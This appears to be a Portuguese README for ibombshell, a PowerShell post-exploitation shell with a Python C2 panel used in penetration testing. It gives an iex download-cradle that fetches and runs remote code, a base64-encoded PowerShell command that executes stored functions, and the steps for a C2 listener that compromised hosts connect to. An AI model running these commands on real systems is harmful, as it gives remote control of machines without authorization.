
Ferramenta para implantar um prompt de pós-exploração a qualquer momento.
,--.!, _ ____ __ _____ __ ____
__/ -*- (_) __ )____ ____ ___ / /_ / ___// /_ ___ / / /
,d08b. '|` / / __ / __ \/ __ `__ \/ __ \\__ \/ __ \/ _ \/ / /
0088MM / / /_/ / /_/ / / / / / / /_/ /__/ / / / / __/ / /
`9MMP' /_/_____/\____/_/ /_/ /_/_.___/____/_/ /_/\___/_/_/
[+] Starting the console...
[*] Console ready!
ibombshell é uma ferramenta escrita em Powershell que permite ter um prompt a qualquer momento com funcionalidades de pós-exploração (e em alguns casos, exploração). É um shell que é baixado diretamente na memória, fornecendo acesso a um grande número de recursos de pentest. Essas funcionalidades podem ser baixadas diretamente na memória, na forma de uma função Powershell. Essa forma de execução é conhecida como everywhere.
Além disso, o ibombshell fornece um segundo modo de execução chamado Silently, para que o pentester possa executar uma instância do ibombshell (chamada warrior). O computador comprometido será conectado a um painel C2 via HTTP. Portanto, será possível controlar o warrior e carregar funções na memória que auxiliam o pentester. Isso ocorre na fase de pós-exploração.
Para executar o ibombshell everywhere é obrigatório ter o PowerShell 3.0 ou superior. Para sistemas operacionais diferentes do Windows, você pode ler mais sobre isso no PowerShell GitHub - PowerShell para todos os sistemas!.
Para executar o modo silencioso do ibombshell, você precisa do python 3.6 e de algumas bibliotecas python. Você pode instalar com:
cd ibombshell\ c2/
pip install -r requirements.txt
Nota: O ibombshell C2 funciona em python 3.X. Certifique-se de executar um pip relativo a esta versão.
O ibombshell possui dois modos de execução:
Para carregar o ibombshell, execute no PowerShell:
iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/Telefonica/ibombshell/master/console’)
Agora você pode executar o console ibombshell baixado executando:
console
Se você precisar usar o ibombshell em ambientes isolados, primeiro prepare seu computador em um ambiente com rede. Carregue todas as funções que precisar e use o savefunctions para salvá-las no registro do Windows.
Agora você pode usar este código base 64 para obter o ibombshell:
powershell.exe -E "JABwAGEAdABoACAAPQAgACcAaABrAGMAdQA6AFwAcwBvAGYAdAB3AGEAcgBlAFwAYwBsAGEAcwBzAGUAcwBcAGkAYgBvAG0AYgBzAGgAZQBsAGwAXABjAG8AbgBzAG8AbABlACcAOwAgAHQAcgB5ACAAewAJAGkAZgAoAHQAZQ
BzAHQALQBwAGEAdABoACAAJABwAGEAdABoACkAIAB7ACAAJABjAG8AbgBzAG8AbABlACAAPQAgACgARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgACQAcABhAHQAaAApAC4ATgBhAG0AZQA7ACAAYwBkACAAaABrAGMAdQA6
ADsAIAAkAG4AYQBtAGUAIAA9ACAAJABjAG8AbgBzAG8AbABlAC4AcwBwAGwAaQB0ACgAIgBcACIAKQBbAC0AMQBdADsAIAAkAGMAbwBkAGUAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACIAJABjAG
8AbgBzAG8AbABlACIAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARQB4AHAAYQBuAGQAUAByAG8AcABlAHIAdAB5ACAAUAByAG8AcABlAHIAdAB5ACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUA
YwB0ACAAewBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAcABzAG8AYgBqAGUAYwB0ACAALQBQAHIAbwBwAGUAcgB0AHkAIABAAHsAIgBwAHIAbwBwAGUAcgB0AHkAIgA9ACQAXwA7ACAAIgBWAGEAbAB1AGUAIgAgAD0AIAAoAEcAZQ
B0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiACQAYwBvAG4AcwBvAGwAZQAiACAALQBOAGEAbQBlACAAJABfACkALgAkAF8AfQB9ACkALgBWAGEAbAB1AGUAOwAgACQAYwBvAGQAZQAgAHwAIABv
AHUAdAAtAHMAdAByAGkAbgBnACAAfAAgAGkAZQB4ADsAIABjADoAOwAgAGMAbwBuAHMAbwBsAGUAOwB9AH0AYwBhAHQAYwBoAHsAdwByAGkAdABlAC0AaABvAHMAdAAgACQARQByAHIAbwByAFsAMABdAH0A"
Esta versão permite executar o console ibombshell e controlá-lo remotamente a partir do painel C2 criado em python. Para executar esta versão, primeiro você deve iniciar o processo do console no powershell:
iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/Telefonica/ibombshell/master/console’)
No caminho do ibombshell C2, prepare o C2:
python3 ibombshell.py
E crie o listener onde os warriors se conectarão:
iBombShell> load modules/listener.py
[+] Loading module...
[+] Module loaded!
iBombShell[modules/listener.py]> run
A porta padrão do listener é 8080. Finalmente, você pode iniciar o console no modo silencioso no host para obter controle remoto:
console -Silently -uriConsole http://[ip or domain]:[port]
A operação básica do painel de controle ibombshell segue o seguinte esquema:
ibombshell C2
| |
| newibombshell |
+--------------------->| --+ register
| |<--+ from IP
| get functions |
| and instructions |
+--------------------->|
| |
| send functions |
| and instructions |
execute +-- |<---------------------+
+-->| |
| results |
+--------------------->|
| |
Criamos um contêiner docker com tudo que você precisa para fazê-lo funcionar. Execute este comando a partir do local do Dockerfile.
sudo docker build -t "ibombshell" .
sudo docker run -it ibombshell
Alguns vídeos de exemplo...